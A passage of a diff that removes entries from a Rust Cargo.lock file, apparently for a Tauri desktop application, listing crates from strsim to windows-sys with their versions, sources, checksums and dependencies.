-checksum = "6bb30289b722be4ff74a408c3cc27edeaad656e06cb1fe8fa9231fa59c728988"
-dependencies = [
- "phf_generator 0.10.0",
- "phf_shared 0.10.0",
- "proc-macro2",
- "quote",
-]
-
-[[package]]
-name = "strsim"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623"
-
-[[package]]
-name = "strum"
-version = "0.22.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f7ac893c7d471c8a21f31cfe213ec4f6d9afeed25537c772e08ef3f005f8729e"
-dependencies = [
- "strum_macros",
-]
-
-[[package]]
-name = "strum_macros"
-version = "0.22.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "339f799d8b549e3744c7ac7feb216383e4005d94bdb22561b3ab8f3b808ae9fb"
-dependencies = [
- "heck 0.3.3",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "subtle"
-version = "2.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601"
-
-[[package]]
-name = "syn"
-version = "1.0.102"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3fcd952facd492f9be3ef0d0b7032a6e442ee9b361d4acc2b1d0c4aaa5f613a1"
-dependencies = [
- "proc-macro2",
- "quote",
- "unicode-ident",
-]
-
-[[package]]
-name = "sysinfo"
-version = "0.23.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3977ec2e0520829be45c8a2df70db2bf364714d8a748316a10c3c35d4d2b01c9"
-dependencies = [
- "cfg-if 1.0.0",
- "core-foundation-sys",
- "libc",
- "ntapi",
- "once_cell",
- "rayon",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "system-deps"
-version = "5.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "18db855554db7bd0e73e06cf7ba3df39f97812cb11d3f75e71c39bf45171797e"
-dependencies = [
- "cfg-expr 0.9.1",
- "heck 0.3.3",
- "pkg-config",
- "toml",
- "version-compare 0.0.11",
-]
-
-[[package]]
-name = "system-deps"
-version = "6.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1a45a1c4c9015217e12347f2a411b57ce2c4fc543913b14b6fe40483328e709"
-dependencies = [
- "cfg-expr 0.10.3",
- "heck 0.4.0",
- "pkg-config",
- "toml",
- "version-compare 0.1.0",
-]
-
-[[package]]
-name = "tao"
-version = "0.14.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "43336f5d1793543ba96e2a1e75f3a5c7dcd592743be06a0ab3a190f4fcb4b934"
-dependencies = [
- "bitflags",
- "cairo-rs",
- "cc",
- "cocoa",
- "core-foundation",
- "core-graphics",
- "crossbeam-channel",
- "dispatch",
- "gdk",
- "gdk-pixbuf",
- "gdk-sys",
- "gdkx11-sys",
- "gio",
- "glib",
- "glib-sys",
- "gtk",
- "image",
- "instant",
- "jni",
- "lazy_static",
- "libc",
- "log",
- "ndk",
- "ndk-context",
- "ndk-sys",
- "objc",
- "once_cell",
- "parking_lot",
- "paste",
- "png 0.17.6",
- "raw-window-handle",
- "scopeguard",
- "serde",
- "unicode-segmentation",
- "uuid 1.1.2",
- "windows 0.39.0",
- "windows-implement",
- "x11-dl",
-]
-
-[[package]]
-name = "tar"
-version = "0.4.38"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4b55807c0344e1e6c04d7c965f5289c39a8d94ae23ed5c0b57aabac549f871c6"
-dependencies = [
- "filetime",
- "libc",
- "xattr",
-]
-
-[[package]]
-name = "tauri"
-version = "1.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "efbf22abd61d95ca9b2becd77f9db4c093892f73e8a07d21d8b0b2bf71a7bcea"
-dependencies = [
- "anyhow",
- "attohttpc",
- "base64",
- "cocoa",
- "dirs-next",
- "embed_plist",
- "encoding_rs",
- "flate2",
- "futures-util",
- "glib",
- "glob",
- "gtk",
- "heck 0.4.0",
- "http",
- "ignore",
- "minisign-verify",
- "notify-rust",
- "objc",
- "once_cell",
- "open 3.0.3",
- "os_info",
- "os_pipe",
- "percent-encoding",
- "rand 0.8.5",
- "raw-window-handle",
- "regex",
- "rfd",
- "semver 1.0.14",
- "serde",
- "serde_json",
- "serde_repr",
- "serialize-to-javascript",
- "shared_child",
- "state",
- "tar",
- "tauri-macros",
- "tauri-runtime",
- "tauri-runtime-wry",
- "tauri-utils",
- "tempfile",
- "thiserror",
- "time 0.3.15",
- "tokio",
- "url",
- "uuid 1.1.2",
- "webkit2gtk",
- "webview2-com",
- "windows 0.39.0",
- "zip",
-]
-
-[[package]]
-name = "tauri-build"
-version = "1.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0991fb306849897439dbd4a72e4cbed2413e2eb26cb4b3ba220b94edba8b4b88"
-dependencies = [
- "anyhow",
- "cargo_toml",
- "heck 0.4.0",
- "json-patch",
- "semver 1.0.14",
- "serde_json",
- "tauri-utils",
- "winres",
-]
-
-[[package]]
-name = "tauri-codegen"
-version = "1.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "356fa253e40ae4d6ff02075011f2f2bb4066f5c9d8c1e16ca6912d7b75903ba6"
-dependencies = [
- "base64",
- "brotli",
- "ico",
- "json-patch",
- "plist",
- "png 0.17.6",
- "proc-macro2",
- "quote",
- "regex",
- "semver 1.0.14",
- "serde",
- "serde_json",
- "sha2",
- "tauri-utils",
- "thiserror",
- "time 0.3.15",
- "uuid 1.1.2",
- "walkdir",
-]
-
-[[package]]
-name = "tauri-macros"
-version = "1.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d6051fd6940ddb22af452340d03c66a3e2f5d72e0788d4081d91e31528ccdc4d"
-dependencies = [
- "heck 0.4.0",
- "proc-macro2",
- "quote",
- "syn",
- "tauri-codegen",
- "tauri-utils",
-]
-
-[[package]]
-name = "tauri-plugin-window-state"
-version = "0.1.0"
-source = "git+https://github.com/tauri-apps/tauri-plugin-window-state#ccb9436ba7bc8d5c1ee6a3287f947b6e0264af36"
-dependencies = [
- "bincode",
- "serde",
- "tauri",
- "thiserror",
-]
-
-[[package]]
-name = "tauri-runtime"
-version = "0.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d49439a5ea47f474572b854972f42eda2e02a470be5ca9609cc83bb66945abe2"
-dependencies = [
- "gtk",
- "http",
- "http-range",
- "infer",
- "rand 0.8.5",
- "raw-window-handle",
- "serde",
- "serde_json",
- "tauri-utils",
- "thiserror",
- "uuid 1.1.2",
- "webview2-com",
- "windows 0.39.0",
-]
-
-[[package]]
-name = "tauri-runtime-wry"
-version = "0.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "28dce920995fd49907aa9bea7249ed1771454f11f7611924c920a1f75fb614d4"
-dependencies = [
- "cocoa",
- "gtk",
- "percent-encoding",
- "rand 0.8.5",
- "raw-window-handle",
- "tauri-runtime",
- "tauri-utils",
- "uuid 1.1.2",
- "webkit2gtk",
- "webview2-com",
- "windows 0.39.0",
- "wry",
-]
-
-[[package]]
-name = "tauri-utils"
-version = "1.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e8fdae6f29cef959809a3c3afef510c5b715a446a597ab8b791497585363f39"
-dependencies = [
- "brotli",
- "ctor",
- "glob",
- "heck 0.4.0",
- "html5ever",
- "json-patch",
- "kuchiki",
- "memchr",
- "phf 0.10.1",
- "proc-macro2",
- "quote",
- "semver 1.0.14",
- "serde",
- "serde_json",
- "serde_with",
- "thiserror",
- "url",
- "walkdir",
- "windows 0.39.0",
-]
-
-[[package]]
-name = "tauri-winrt-notification"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c58de036c4d2e20717024de2a3c4bf56c301f07b21bc8ef9b57189fce06f1f3b"
-dependencies = [
- "quick-xml",
- "strum",
- "windows 0.39.0",
-]
-
-[[package]]
-name = "tempfile"
-version = "3.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4"
-dependencies = [
- "cfg-if 1.0.0",
- "fastrand",
- "libc",
- "redox_syscall",
- "remove_dir_all",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "tendril"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d24a120c5fc464a3458240ee02c299ebcb9d67b5249c8848b09d639dca8d7bb0"
-dependencies = [
- "futf",
- "mac",
- "utf-8",
-]
-
-[[package]]
-name = "termcolor"
-version = "1.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755"
-dependencies = [
- "winapi-util",
-]
-
-[[package]]
-name = "textwrap"
-version = "0.15.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "949517c0cf1bf4ee812e2e07e08ab448e3ae0d23472aee8a06c985f0c8815b16"
-
-[[package]]
-name = "thin-slice"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8eaa81235c7058867fa8c0e7314f33dcce9c215f535d1913822a2b3f5e289f3c"
-
-[[package]]
-name = "thiserror"
-version = "1.0.37"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "10deb33631e3c9018b9baf9dcbbc4f737320d2b576bac10f6aefa048fa407e3e"
-dependencies = [
- "thiserror-impl",
-]
-
-[[package]]
-name = "thiserror-impl"
-version = "1.0.37"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "982d17546b47146b28f7c22e3d08465f6b8903d0ea13c1660d9d84a6e7adcdbb"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "thread_local"
-version = "1.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5516c27b78311c50bf42c071425c560ac799b11c30b31f87e3081965fe5e0180"
-dependencies = [
- "once_cell",
-]
-
-[[package]]
-name = "time"
-version = "0.1.44"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6db9e6914ab8b1ae1c260a4ae7a49b6c5611b40328a735b21862567685e73255"
-dependencies = [
- "libc",
- "wasi 0.10.0+wasi-snapshot-preview1",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "time"
-version = "0.3.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d634a985c4d4238ec39cacaed2e7ae552fbd3c476b552c1deac3021b7d7eaf0c"
-dependencies = [
- "itoa 1.0.4",
- "libc",
- "num_threads",
- "time-macros",
-]
-
-[[package]]
-name = "time-macros"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "42657b1a6f4d817cda8e7a0ace261fe0cc946cf3a80314390b22cc61ae080792"
-
-[[package]]
-name = "tinyvec"
-version = "1.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50"
-dependencies = [
- "tinyvec_macros",
-]
-
-[[package]]
-name = "tinyvec_macros"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cda74da7e1a664f795bb1f8a87ec406fb89a02522cf6e50620d016add6dbbf5c"
-
-[[package]]
-name = "tokio"
-version = "1.21.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9e03c497dc955702ba729190dc4aac6f2a0ce97f913e5b1b5912fc5039d9099"
-dependencies = [
- "autocfg",
- "bytes",
- "libc",
- "memchr",
- "mio 0.8.4",
- "num_cpus",
- "parking_lot",
- "pin-project-lite",
- "socket2",
- "tokio-macros",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "tokio-macros"
-version = "1.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9724f9a975fb987ef7a3cd9be0350edcbe130698af5b8f7a631e23d42d052484"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "tokio-native-tls"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f7d995660bd2b7f8c1568414c1126076c13fbb725c40112dc0120b78eb9b717b"
-dependencies = [
- "native-tls",
- "tokio",
-]
-
-[[package]]
-name = "tokio-util"
-version = "0.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0bb2e075f03b3d66d8d8785356224ba688d2906a371015e225beeb65ca92c740"
-dependencies = [
- "bytes",
- "futures-core",
- "futures-sink",
- "pin-project-lite",
- "tokio",
- "tracing",
-]
-
-[[package]]
-name = "toml"
-version = "0.5.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8d82e1a7758622a465f8cee077614c73484dac5b836c02ff6a40d5d1010324d7"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "tower-service"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52"
-
-[[package]]
-name = "tracing"
-version = "0.1.37"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8"
-dependencies = [
- "cfg-if 1.0.0",
- "pin-project-lite",
- "tracing-attributes",
- "tracing-core",
-]
-
-[[package]]
-name = "tracing-attributes"
-version = "0.1.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4017f8f45139870ca7e672686113917c71c7a6e02d4924eda67186083c03081a"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "tracing-core"
-version = "0.1.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24eb03ba0eab1fd845050058ce5e616558e8f8d8fca633e6b163fe25c797213a"
-dependencies = [
- "once_cell",
- "valuable",
-]
-
-[[package]]
-name = "tracing-log"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "78ddad33d2d10b1ed7eb9d1f518a5674713876e97e5bb9b7345a7984fbb4f922"
-dependencies = [
- "lazy_static",
- "log",
- "tracing-core",
-]
-
-[[package]]
-name = "tracing-subscriber"
-version = "0.3.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a6176eae26dd70d0c919749377897b54a9276bd7061339665dd68777926b5a70"
-dependencies = [
- "matchers",
- "nu-ansi-term",
- "once_cell",
- "regex",
- "sharded-slab",
- "smallvec",
- "thread_local",
- "tracing",
- "tracing-core",
- "tracing-log",
-]
-
-[[package]]
-name = "trash"
-version = "2.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fe090367848cd40c4230ff3ce4e2ff6a2fd511c1e14ae047a4a4c37ef7965236"
-dependencies = [
- "chrono",
- "libc",
- "log",
- "objc",
- "once_cell",
- "scopeguard",
- "url",
- "windows 0.37.0",
-]
-
-[[package]]
-name = "treediff"
-version = "3.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "761e8d5ad7ce14bb82b7e61ccc0ca961005a275a060b9644a2431aa11553c2ff"
-dependencies = [
- "serde_json",
-]
-
-[[package]]
-name = "try-lock"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642"
-
-[[package]]
-name = "typenum"
-version = "1.15.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817b34cec66f90b6c3dfd987"
-
-[[package]]
-name = "ucd-trie"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9e79c4d996edb816c91e4308506774452e55e95c3c9de07b6729e17e15a5ef81"
-
-[[package]]
-name = "unicode-bidi"
-version = "0.3.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "099b7128301d285f79ddd55b9a83d5e6b9e97c92e0ea0daebee7263e932de992"
-
-[[package]]
-name = "unicode-ident"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dcc811dc4066ac62f84f11307873c4850cb653bfa9b1719cee2bd2204a4bc5dd"
-
-[[package]]
-name = "unicode-normalization"
-version = "0.1.22"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921"
-dependencies = [
- "tinyvec",
-]
-
-[[package]]
-name = "unicode-segmentation"
-version = "1.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fdbf052a0783de01e944a6ce7a8cb939e295b1e7be835a1112c3b9a7f047a5a"
-
-[[package]]
-name = "url"
-version = "2.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d68c799ae75762b8c3fe375feb6600ef5602c883c5d21eb51c09f22b83c4643"
-dependencies = [
- "form_urlencoded",
- "idna",
- "percent-encoding",
- "serde",
-]
-
-[[package]]
-name = "utf-8"
-version = "0.7.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9"
-
-[[package]]
-name = "uuid"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bc5cf98d8186244414c848017f0e2676b3fcb46807f6668a97dfe67359a3c4b7"
-
-[[package]]
-name = "uuid"
-version = "1.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dd6469f4314d5f1ffec476e05f17cc9a78bc7a27a6a857842170bdf8d6f98d2f"
-dependencies = [
- "getrandom 0.2.7",
-]
-
-[[package]]
-name = "valuable"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d"
-
-[[package]]
-name = "vcpkg"
-version = "0.2.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
-
-[[package]]
-name = "version-compare"
-version = "0.0.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1c18c859eead79d8b95d09e4678566e8d70105c4e7b251f707a03df32442661b"
-
-[[package]]
-name = "version-compare"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fe88247b92c1df6b6de80ddc290f3976dbdf2f5f5d3fd049a9fb598c6dd5ca73"
-
-[[package]]
-name = "version_check"
-version = "0.9.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
-
-[[package]]
-name = "walkdir"
-version = "2.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "808cf2735cd4b6866113f648b791c6adc5714537bc222d9347bb203386ffda56"
-dependencies = [
- "same-file",
- "winapi 0.3.9",
- "winapi-util",
-]
-
-[[package]]
-name = "want"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0"
-dependencies = [
- "log",
- "try-lock",
-]
-
-[[package]]
-name = "wasi"
-version = "0.9.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519"
-
-[[package]]
-name = "wasi"
-version = "0.10.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f"
-
-[[package]]
-name = "wasi"
-version = "0.11.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
-
-[[package]]
-name = "wasm-bindgen"
-version = "0.2.83"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eaf9f5aceeec8be17c128b2e93e031fb8a4d469bb9c4ae2d7dc1888b26887268"
-dependencies = [
- "cfg-if 1.0.0",
- "wasm-bindgen-macro",
-]
-
-[[package]]
-name = "wasm-bindgen-backend"
-version = "0.2.83"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4c8ffb332579b0557b52d268b91feab8df3615f265d5270fec2a8c95b17c1142"
-dependencies = [
- "bumpalo",
- "log",
- "once_cell",
- "proc-macro2",
- "quote",
- "syn",
- "wasm-bindgen-shared",
-]
-
-[[package]]
-name = "wasm-bindgen-futures"
-version = "0.4.33"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "23639446165ca5a5de86ae1d8896b737ae80319560fbaa4c2887b7da6e7ebd7d"
-dependencies = [
- "cfg-if 1.0.0",
- "js-sys",
- "wasm-bindgen",
- "web-sys",
-]
-
-[[package]]
-name = "wasm-bindgen-macro"
-version = "0.2.83"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "052be0f94026e6cbc75cdefc9bae13fd6052cdcaf532fa6c45e7ae33a1e6c810"
-dependencies = [
- "quote",
- "wasm-bindgen-macro-support",
-]
-
-[[package]]
-name = "wasm-bindgen-macro-support"
-version = "0.2.83"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "07bc0c051dc5f23e307b13285f9d75df86bfdf816c5721e573dec1f9b8aa193c"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
- "wasm-bindgen-backend",
- "wasm-bindgen-shared",
-]
-
-[[package]]
-name = "wasm-bindgen-shared"
-version = "0.2.83"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1c38c045535d93ec4f0b4defec448e4291638ee608530863b1e2ba115d4fff7f"
-
-[[package]]
-name = "web-sys"
-version = "0.3.60"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bcda906d8be16e728fd5adc5b729afad4e444e106ab28cd1c7256e54fa61510f"
-dependencies = [
- "js-sys",
- "wasm-bindgen",
-]
-
-[[package]]
-name = "webkit2gtk"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "29952969fb5e10fe834a52eb29ad0814ccdfd8387159b0933edf1344a1c9cdcc"
-dependencies = [
- "bitflags",
- "cairo-rs",
- "gdk",
- "gdk-sys",
- "gio",
- "gio-sys",
- "glib",
- "glib-sys",
- "gobject-sys",
- "gtk",
- "gtk-sys",
- "javascriptcore-rs",
- "libc",
- "once_cell",
- "soup2",
- "webkit2gtk-sys",
-]
-
-[[package]]
-name = "webkit2gtk-sys"
-version = "0.18.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4d76ca6ecc47aeba01ec61e480139dda143796abcae6f83bcddf50d6b5b1dcf3"
-dependencies = [
- "atk-sys",
- "bitflags",
- "cairo-sys-rs",
- "gdk-pixbuf-sys",
- "gdk-sys",
- "gio-sys",
- "glib-sys",
- "gobject-sys",
- "gtk-sys",
- "javascriptcore-rs-sys",
- "libc",
- "pango-sys",
- "pkg-config",
- "soup2-sys",
- "system-deps 6.0.2",
-]
-
-[[package]]
-name = "webview2-com"
-version = "0.19.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b4a769c9f1a64a8734bde70caafac2b96cada12cd4aefa49196b3a386b8b4178"
-dependencies = [
- "webview2-com-macros",
- "webview2-com-sys",
- "windows 0.39.0",
- "windows-implement",
-]
-
-[[package]]
-name = "webview2-com-macros"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eaebe196c01691db62e9e4ca52c5ef1e4fd837dcae27dae3ada599b5a8fd05ac"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "webview2-com-sys"
-version = "0.19.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aac48ef20ddf657755fdcda8dfed2a7b4fc7e4581acce6fe9b88c3d64f29dee7"
-dependencies = [
- "regex",
- "serde",
- "serde_json",
- "thiserror",
- "windows 0.39.0",
- "windows-bindgen",
- "windows-metadata",
-]
-
-[[package]]
-name = "widestring"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c168940144dd21fd8046987c16a46a33d5fc84eec29ef9dcddc2ac9e31526b7c"
-
-[[package]]
-name = "winapi"
-version = "0.2.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a"
-
-[[package]]
-name = "winapi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
-dependencies = [
- "winapi-i686-pc-windows-gnu",
- "winapi-x86_64-pc-windows-gnu",
-]
-
-[[package]]
-name = "winapi-build"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc"
-
-[[package]]
-name = "winapi-i686-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-
-[[package]]
-name = "winapi-util"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178"
-dependencies = [
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "winapi-x86_64-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
-
-[[package]]
-name = "window-shadows"
-version = "0.2.0"
-source = "git+https://github.com/tauri-apps/window-shadows#8a3defc797f3a5b83eb68a0f9cd86ab6fe59ae7f"
-dependencies = [
- "cocoa",
- "objc",
- "raw-window-handle",
- "windows-sys 0.42.0",
-]
-
-[[package]]
-name = "window-vibrancy"
-version = "0.3.0"
-source = "git+https://github.com/tauri-apps/window-vibrancy#2eccb51ef7643edf5e15088693cb0b85aef5096e"
-dependencies = [
- "cocoa",
- "objc",
- "raw-window-handle",
- "windows-sys 0.42.0",
-]
-
-[[package]]
-name = "windows"
-version = "0.32.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fbedf6db9096bc2364adce0ae0aa636dcd89f3c3f2cd67947062aaf0ca2a10ec"
-dependencies = [
- "windows_aarch64_msvc 0.32.0",
- "windows_i686_gnu 0.32.0",
- "windows_i686_msvc 0.32.0",
- "windows_x86_64_gnu 0.32.0",
- "windows_x86_64_msvc 0.32.0",
-]
-
-[[package]]
-name = "windows"
-version = "0.37.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57b543186b344cc61c85b5aab0d2e3adf4e0f99bc076eff9aa5927bcc0b8a647"
-dependencies = [
- "windows_aarch64_msvc 0.37.0",
- "windows_i686_gnu 0.37.0",
- "windows_i686_msvc 0.37.0",
- "windows_x86_64_gnu 0.37.0",
- "windows_x86_64_msvc 0.37.0",
-]
-
-[[package]]
-name = "windows"
-version = "0.39.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1c4bd0a50ac6020f65184721f758dba47bb9fbc2133df715ec74a237b26794a"
-dependencies = [
- "windows-implement",
- "windows_aarch64_msvc 0.39.0",
- "windows_i686_gnu 0.39.0",
- "windows_i686_msvc 0.39.0",
- "windows_x86_64_gnu 0.39.0",
- "windows_x86_64_msvc 0.39.0",
-]
-
-[[package]]
-name = "windows-bindgen"
-version = "0.39.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "68003dbd0e38abc0fb85b939240f4bce37c43a5981d3df37ccbaaa981b47cb41"
-dependencies = [
- "windows-metadata",
- "windows-tokens",
-]
-
-[[package]]
-name = "windows-implement"
-version = "0.39.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba01f98f509cb5dc05f4e5fc95e535f78260f15fea8fe1a8abdd08f774f1cee7"
-dependencies = [
- "syn",
- "windows-tokens",
-]
-
-[[package]]
-name = "windows-metadata"
-version = "0.39.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ee5e275231f07c6e240d14f34e1b635bf1faa1c76c57cfd59a5cdb9848e4278"
-
-[[package]]
-name = "windows-sys"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ea04155a16a59f9eab786fe12a4a450e75cdb175f9e0d80da1e17db09f55b8d2"
-dependencies = [
- "windows_aarch64_msvc 0.36.1",
- "windows_i686_gnu 0.36.1",
- "windows_i686_msvc 0.36.1",
- "windows_x86_64_gnu 0.36.1",
- "windows_x86_64_msvc 0.36.1",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.42.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7"
-dependencies = [
- "windows_aarch64_gnullvm",
- "windows_aarch64_msvc 0.42.0",
- "windows_i686_gnu 0.42.0",
- "windows_i686_msvc 0.42.0",
